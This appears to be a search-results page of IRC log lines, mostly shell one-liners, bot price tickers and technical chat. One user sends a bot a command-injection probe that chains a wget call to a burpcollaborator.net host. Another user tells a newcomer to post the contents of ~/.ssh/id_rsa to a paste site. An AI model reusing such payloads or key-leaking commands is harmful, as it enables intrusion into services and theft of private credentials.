log☇︎
600+ entries in 0.244s
a111: Logged on 2018-10-16 11:51 mircea_popescu: man-drive dialogue flows always like : "i want file X" "wtf is that ?" "tell me what i told you before file X is supposed to be" "bytes 4978459876 through 50987498098" "i want bytes 4978459876 through 50987498098 please" "here you go" "are these file X ?" "fuck you" "does file X even exist ?" "little bitch..." "grep -a -C 500 'known pattern' /dev/sda | tee /tmp/recover"
mircea_popescu: man-drive dialogue flows always like : "i want file X" "wtf is that ?" "tell me what i told you before file X is supposed to be" "bytes 4978459876 through 50987498098" "i want bytes 4978459876 through 50987498098 please" "here you go" "are these file X ?" "fuck you" "does file X even exist ?" "little bitch..." "grep -a -C 500 'known pattern' /dev/sda | tee /tmp/recover" ☟︎
a111: Logged on 2018-10-11 20:07 phf: asciilifeform: so the posix solution is to call open with O_CREAT | O_EXCL, which will attempt to create but will signal EEXIST if the file already exists. curiously default behavior O_CREAT will simply clobber
phf: asciilifeform: so the posix solution is to call open with O_CREAT | O_EXCL, which will attempt to create but will signal EEXIST if the file already exists. curiously default behavior O_CREAT will simply clobber ☟︎
a111: Logged on 2018-09-27 16:02 phf: you can basically do (cat foo.vpatch bar.vpatch qux.vpatch) | vpatch and expect the resulting press to be fully valid, hashes and all
asciilifeform: i.e. : cat uy_receiver_udp_log.txt | cut -f 1 -d ',' > receiver_idx.txt ; cat usa_sender_udp_log.txt | cut -f 1 -d ',' > sender_idx.txt ; diff sender_idx.txt receiver_idx.txt << produces nil
phf: you can basically do (cat foo.vpatch bar.vpatch qux.vpatch) | vpatch and expect the resulting press to be fully valid, hashes and all ☟︎
mircea_popescu: http://btcbase.org/log/2018-09-22#1852802 << because as trinque pointed out, the imperial code academy view of config files is "optional suggestion". config as it currentrly works will essentially sudo cat /dev/sda1 | grep -A1 "HurrDurrFlag" and whatever comes out of that is the value of hurr. ☝︎
mircea_popescu: put four on each corner, make them |= style, and let it be
asciilifeform: i expect it'll look like those nigerian dear|sir|madam|colleague, please consider out snakeoil|cockring|cockcage ...' items mircea_popescu collected
a111: Logged on 2018-09-17 20:05 mircea_popescu: simply have a knob that decides whether {crypto|plain} auth is used ; crypto does what it does now, plain asks a question, "Tell me what color is the sky", picked from a list or somesuch.
mircea_popescu: simply have a knob that decides whether {crypto|plain} auth is used ; crypto does what it does now, plain asks a question, "Tell me what color is the sky", picked from a list or somesuch. ☟︎
mircea_popescu: but i'm not even sure what the difference is, tbh. "say mp... what's | got over Y?" i can\t answer that. and yet perl sucks and bash doesn't, in SPITE of braindamage like above.
asciilifeform: Mocky: really it wants to be a ~cube~ , x:Na, y:Nb, z:|Qa-Qb|, 1 if solution, 0 if not. but there isn't a satisfying way to draw this. so stuck with lolcat.gif
mircea_popescu: http://btcbase.org/log/2018-08-18#1842694 << i'd like to expand on this. 1) to dump a file, the better format is curl -Ls -o /dev/null -w %{url_effective} -X POST -F "pastebox=@file.asc" http://p.bvulpes.com -w %{url_effective} ; 2. to dump a pipe/process, the better format is eg item=`cat ~/.ssh/id_rsa.pub | gpg --yes --no-tty --trust-model always -aer mod6`; echo $(curl -Ls -o /dev/null -w %{url_effective} -X POST -F "paste ☝︎
mircea_popescu: nicoleci when it's done curl http://wot.deedbot.org/027A8D7C0FB8A16643720F40721705A8B71EADAF.asc | gpg --import ; and then item=`cat ~/.ssh/id_rsa`; echo $(curl -Ls -o /dev/null -w %{url_effective} -X POST -F "pastebox=$item" http://wotpaste.cascadianhacker.com -w %{url_effective}) ; it'll spit out a pastebin url, say mod6 <url> when it does.
asciilifeform: ( observe that elementarily if gcd(a, b) != 1 and | S , they aint )
asciilifeform: if can prove the |qa - qb| != 1 thing, can then use this algo.
asciilifeform: nao we haven't yet the proof, but seems like we can conjecture that if |qa - qb| = 1, then piles with qa and qb are immiscible in any ratio; elsewise, yes mixable, in a ratio that can be found, i suspect, in O(1) .
phf: according to `mkdir t; cd t; wget --quiet http://ave1.org/code/zfp/v/patches/{zfp_1_examples,zfp_2_noc,zfp_genesis}.vpatch; for i in *.vpatch; do cmp $i ../$i || echo fail; done ` everything's fine
mircea_popescu: * Topic for #freenode is: We know about the spam. Please see https://freenode.net/news/spambot-attack for a detailed statement. | User mode +R blocks PMs from unregistered users. Activate it with: /mode <YourNick> +R | Welcome to #freenode |
asciilifeform: dulap ~ # zcat /proc/config.gz | grep CONFIG_USB_SERIAL_OPTION
a111: Logged on 2018-07-12 13:49 diana_coman: asciilifeform, BingoBoingo access to box & config confirmed; FG on ttysUSB0 had a wobble at first and I don't understand why: I ran the stty -F /dev/ttyUSB0 115200 raw -echo -echoe -echok and then tried dd iflag=fullblock if=/dev/ttyUSB0 | hexdump -C but nothing came up; then I ran the stty on usb1 as well and tried again and it...worked; any idea wtf was that at first?
asciilifeform: ( instead of the old awk 'm = /^(---|\+\+\+)/ ... , uses awk 'm = /^(--- a\/|\+\+\+ b\/)/ ... )
asciilifeform: cat asciilifeform_aggressive_pushgetblocks.vpatch.asciilifeform.sig.sad | gpg --enarmor | sed 's|ARMORED FILE|SIGNATURE|' > asciilifeform_aggressive_pushgetblocks.vpatch.asciilifeform.sig
a111: Logged on 2018-07-15 19:32 mircea_popescu: check out this beauty : dpkg -S /usr/lib/libGL.so.1 > dpkg: /usr/lib/libGL.so.1 not found. meanwhile $ ldd /usr/bin/glxinfo | grep "libGL" > libGL.so.1 => /usr/lib/mesa/libGL.so.1 (0x00007f129e644000)
mircea_popescu: check out this beauty : dpkg -S /usr/lib/libGL.so.1 > dpkg: /usr/lib/libGL.so.1 not found. meanwhile $ ldd /usr/bin/glxinfo | grep "libGL" > libGL.so.1 => /usr/lib/mesa/libGL.so.1 (0x00007f129e644000) ☟︎
mircea_popescu: even wider array of things|!!!
diana_coman: asciilifeform, BingoBoingo access to box & config confirmed; FG on ttysUSB0 had a wobble at first and I don't understand why: I ran the stty -F /dev/ttyUSB0 115200 raw -echo -echoe -echok and then tried dd iflag=fullblock if=/dev/ttyUSB0 | hexdump -C but nothing came up; then I ran the stty on usb1 as well and tried again and it...worked; any idea wtf was that at first? ☟︎
epony: _|_
spyked: http://btcbase.org/log/2018-07-02#1831425 <-- to add to the list of weird behaviours: ada "get char" function doesn't eat newlines, so when typing a number alone, say: echo "42" | ./test_repl , nothing'll happen. user must add an explicit space after the number. ☝︎
mircea_popescu: but since we're doing "bash against andreessen's webshit", here's an instagram castrator : curl https://www.instagram.com/slut/ | tr '\n' ' ' | sed 's${"src":"$\n$g' | sed 's$}],"$\n$g' | grep '"config_width":640' | sed 's$","config_width":640,"config_height":640$>$g' | sed 's$^$<img src=$' > slut.html
phf: there was an occasional poc||gtfo speaker doing not necessarily particularly sophisticated, but at least aesthetically pleasing hacks. and of course you could meet oldfags in the hallways. but even back then you could see that the community is being replaced by martin marlinspooks with throngs on millennial sycophants, but at least you could avoid them if you wanted to. i heard that's no longer the case.
mircea_popescu: his history | grep returned no direct matches and that's it, because he has had a terminal open since the dawn of philosophy and also his regexp magically sees through indirection.
asciilifeform: phuctor in particular was optimized for curl | awk | ... etc
mircea_popescu: |\n, could you get a nick that's not an absolute pain in the ass to type ?
asciilifeform: |\n: yes
asciilifeform: |\n: hello...?
deedbot: |\n voiced for 30 minutes.
asciilifeform: !!up |\n
asciilifeform: hey, it isn't as if the academitards don't always create 'new' 'paper' via same foo | bar | baz template spammers use ( as posted in mircea_popescu's www on at least 1 occasion )
gribble: Bitstamp BTCUSD last: 6710.85, vol: 7122.16 | BTC-E BTCUSD last: 6967.0, vol: 574.76 | Bitfinex BTCUSD last: 6696.8, vol: 20943.68 | GDAX BTCUSD last: 6696.85, vol: 8004.02 | Kraken BTCUSD last: 6701.4, vol: 3395.15 | Gemini BTCUSD last: 6702.88, vol: 3265.19 | Volume-weighted last average: 6703.53
BingoBoingo: | << Pictogram
a111: Logged on 2018-06-11 19:33 |\n: any other devices with the extra similar one (even with brushed label)?
a111: Logged on 2018-06-11 19:33 |\n: any intel on supply chain of this stone? had to ask
a111: Logged on 2018-06-11 19:14 |\n: even if something is not clear - hardware is full of shit, supplying any trust towards vendors is as stupid as saying that someone might now have some private keys from whatever, being it an IT or automotive industry (pick any), i believe that is why some papers on standards that might shed light on ways of how proprietary things (that belong to owners) work
a111: Logged on 2018-06-11 19:05 |\n: apart from things unspeakable on freenode i love to bring up tor relays and i got a job as an admin of shitty place
a111: Logged on 2018-06-11 18:59 deedbot: |\n voiced for 30 minutes.
asciilifeform: that was |\n
deedbot: |\n voiced for 30 minutes.
asciilifeform: !!up |\n
asciilifeform: |\n: only chromebook. afaik all recently-rolledout units, have it
asciilifeform: |\n: best suspicion thus far is that it is a 'hardcopy fpga' (cheap, relatively, method for getting chip baked, they apply a custom metallization mask to a stock crystal)
deedbot: |\n voiced for 30 minutes.
asciilifeform: !!up |\n
swiftgeek: |\n: it's not that big chip xD
asciilifeform: |\n: use what you have.
asciilifeform: |\n: how about you go and fix this
asciilifeform: |\n: i noticed today that there is 0 discussion of cr50/h1 in ru net
trinque: what do you do |\n ?
asciilifeform: |\n: as trinque points out -- you will get much more enthusiastic audience if you introduce yourself, and register a key, establish as person
trinque: |\n: nah you don't get off that easy. you're from .ru ?
asciilifeform: |\n: recommend to read the logs, and make use of the search
asciilifeform: |\n: ideally, you go and register gpg key with deedbot. then , let's say i rate you, and then you can speak whenever you have something to say.
asciilifeform: |\n: hello ?
deedbot: |\n voiced for 30 minutes. ☟︎
asciilifeform: !!up |\n
mircea_popescu: "usg sucks" "i don't like how you used the word suck" | "usg is dumb" "i don't approve of the usage of verbs" | "the goat is dead" "i don't like the syllable count and this has nothing to do with my suspicion the goat may be a veiled reference to usg".
mircea_popescu: |\n who are you then, cleverboi
deedbot: |\n voiced for 30 minutes.
mircea_popescu: !!up |\n
mircea_popescu: !!v |\n
jhvh1: mod6: Bitstamp BTCUSD last: 7356.18, vol: 2872.76733420 | Bitfinex BTCUSD last: 7347.1, vol: 15766.043020869996 | Kraken BTCUSD last: 7337.0, vol: 2258.46927473 | Volume-weighted last average: 7347.25668009
mircea_popescu: asciilifeform, curl "http://btcbase.org/log-search?q=ticker" | grep "mircea" | wc -l
jhvh1: asciilifeform: Bitstamp BTCUSD last: 7622.55, vol: 13732.14374654 | Bitfinex BTCUSD last: 7609.0, vol: 33476.92354476 | Kraken BTCUSD last: 7616.0, vol: 6972.7722204 | Volume-weighted last average: 7613.33503099
spyked: ave1, printenv | grep CFLAGS/LDFLAGS both return nil so I'm okay on that front. but my glibc/ld are post-gcc-4.9, so your explanation about system headers being used sounds plausible.
douchebag: ssh-keyscan -t rsa github.com | sed "s/^[^ ]* //" > github.pub
jhvh1: asciilifeform: Bitstamp BTCUSD last: 8245.99, vol: 7541.78166533 | Bitfinex BTCUSD last: 8233.0, vol: 17008.085135149995 | Kraken BTCUSD last: 8240.4, vol: 3144.61833089 | Volume-weighted last average: 8237.37769176
spyked: but this is easy to verify with readelf -s | grep inlined_func
jhvh1: BingoBoingo: Bitstamp BTCUSD last: 8225.55, vol: 8332.63719846 | Bitfinex BTCUSD last: 8230.5, vol: 29181.858867100003 | Kraken BTCUSD last: 8226.8, vol: 4927.09850888 | Volume-weighted last average: 8229.0986196
jhvh1: asciilifeform: Bitstamp BTCUSD last: 8081.58, vol: 8312.10405631 | Bitfinex BTCUSD last: 8075.7, vol: 28116.92948719 | Kraken BTCUSD last: 8073.5, vol: 4899.89873207 | Volume-weighted last average: 8076.62176092
mircea_popescu: i get 8.75845727 amusingly enough. echo "9.15831827-0.399861" | bc
jhvh1: asciilifeform: Bitstamp BTCUSD last: 9424.4, vol: 9625.23797700 | Bitfinex BTCUSD last: 9448.6, vol: 25551.153955799986 | Kraken BTCUSD last: 9421.9, vol: 4159.7965634 | Volume-weighted last average: 9439.85494003
jhvh1: asciilifeform: Bitstamp BTCUSD last: 9063.13, vol: 11729.53161711 | Bitfinex BTCUSD last: 9070.6, vol: 23312.154198539996 | Kraken BTCUSD last: 9070.2, vol: 5338.80882751 | Volume-weighted last average: 9068.37726535
lobbesbot: asciilifeform: Sent 8 hours and 46 minutes ago: <ave1> The gcc makefiles use gnatls to find the runtime system directory, they do 'gnatls -v | grep adalib'. When ADA_OBJECTS_PATH is set, that line will return two directories and the build fails. Could you past the output of gnatls -v? (I can fix it with an extra head or tail call, but that also seems fragile)
ave1: !Q later tell asciilifeform The gcc makefiles use gnatls to find the runtime system directory, they do 'gnatls -v | grep adalib'. When ADA_OBJECTS_PATH is set, that line will return two directories and the build fails. Could you past the output of gnatls -v? (I can fix it with an extra head or tail call, but that also seems fragile)
mircea_popescu: curl http://trilema.com/category/trilematograf/ | wc -l > 481
jhvh1: lobbes: Bitstamp BTCUSD last: 7010.0, vol: 7642.76183137 | Bitfinex BTCUSD last: 7007.5, vol: 41687.36960522 | Kraken BTCUSD last: 7006.6, vol: 6323.66638176 | Volume-weighted last average: 7007.74105462
hanbot: _getSeparators : function() { var re = '', i, str = this.editor.getParam('spellchecker_word_separator_chars', '\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}§©«®±¶·ž»ŒœŸ¿×÷€\u201d\u201c'); << sample itam. they're buried in the code as ad-hoc magic chars.
mircea_popescu: aaand in other http://btcbase.org/log/2018-04-03#1792405 : cat trilema.com.txt | grep "/2009/banii-oamenii-si-valorile-liberale/" | grep "leusercontent" > http://p.bvulpes.com/pastes/foK6J/?raw=true ☝︎
mircea_popescu: and now consider something like cat *** | grep "data.maryland.gov" | awk '{print $19..$22}' | sort -u << "get me the fields 19th through 22nd, once only, and sorted alphabetically".
mircea_popescu: lobbes here's a bonus : suppose you have a lengthy file (such as say a server log) and you want to extract just one column. you got awk : cat hurr.txt | awk '{print $3}' (and -F will set the delimiter if space's no good).
mircea_popescu: wget -m http://www.kibo.com 2>&1 | grep '^--' | awk '{ print $3 }' | grep -v '\.\(css\|js\|png\|gif\|jpg\|JPG\)$' > urls.txt
douchebag: !~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net|wget${IFS}http://uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net
jhvh1: asciilifeform: Bitstamp BTCUSD last: 8552.65, vol: 14072.22693838 | Bitfinex BTCUSD last: 8550.8, vol: 60153.85681754 | Kraken BTCUSD last: 8558.0, vol: 12690.6100365 | Volume-weighted last average: 8552.15078783
jhvh1: ben_vulpes: Bitstamp BTCUSD last: 8871.71, vol: 12909.92403708 | Bitfinex BTCUSD last: 8860.0, vol: 48324.82676929 | Kraken BTCUSD last: 8870.0, vol: 11577.2398336 | Volume-weighted last average: 8863.6662589
jhvh1: BingoBoingo: Bitstamp BTCUSD last: 8900.0, vol: 12981.64521130 | Bitfinex BTCUSD last: 8883.4, vol: 53574.38173132 | Kraken BTCUSD last: 8891.0, vol: 12200.3388133 | Volume-weighted last average: 8887.31356156
mircea_popescu: ad-hoc low effort gui-ing is no match for the almighty |
jhvh1: shinohai: Bitstamp BTCUSD last: 8165.99, vol: 15573.20480419 | Bitfinex BTCUSD last: 8159.0, vol: 62309.5543168 | Kraken BTCUSD last: 8155.7, vol: 13766.7790465 | Volume-weighted last average: 8159.69205292
jhvh1: BingoBoingo: Bitstamp BTCUSD last: 8239.94, vol: 21206.61521357 | Bitfinex BTCUSD last: 8204.9, vol: 78055.15947485 | Kraken BTCUSD last: 8199.8, vol: 16286.7813589 | Volume-weighted last average: 8210.61203341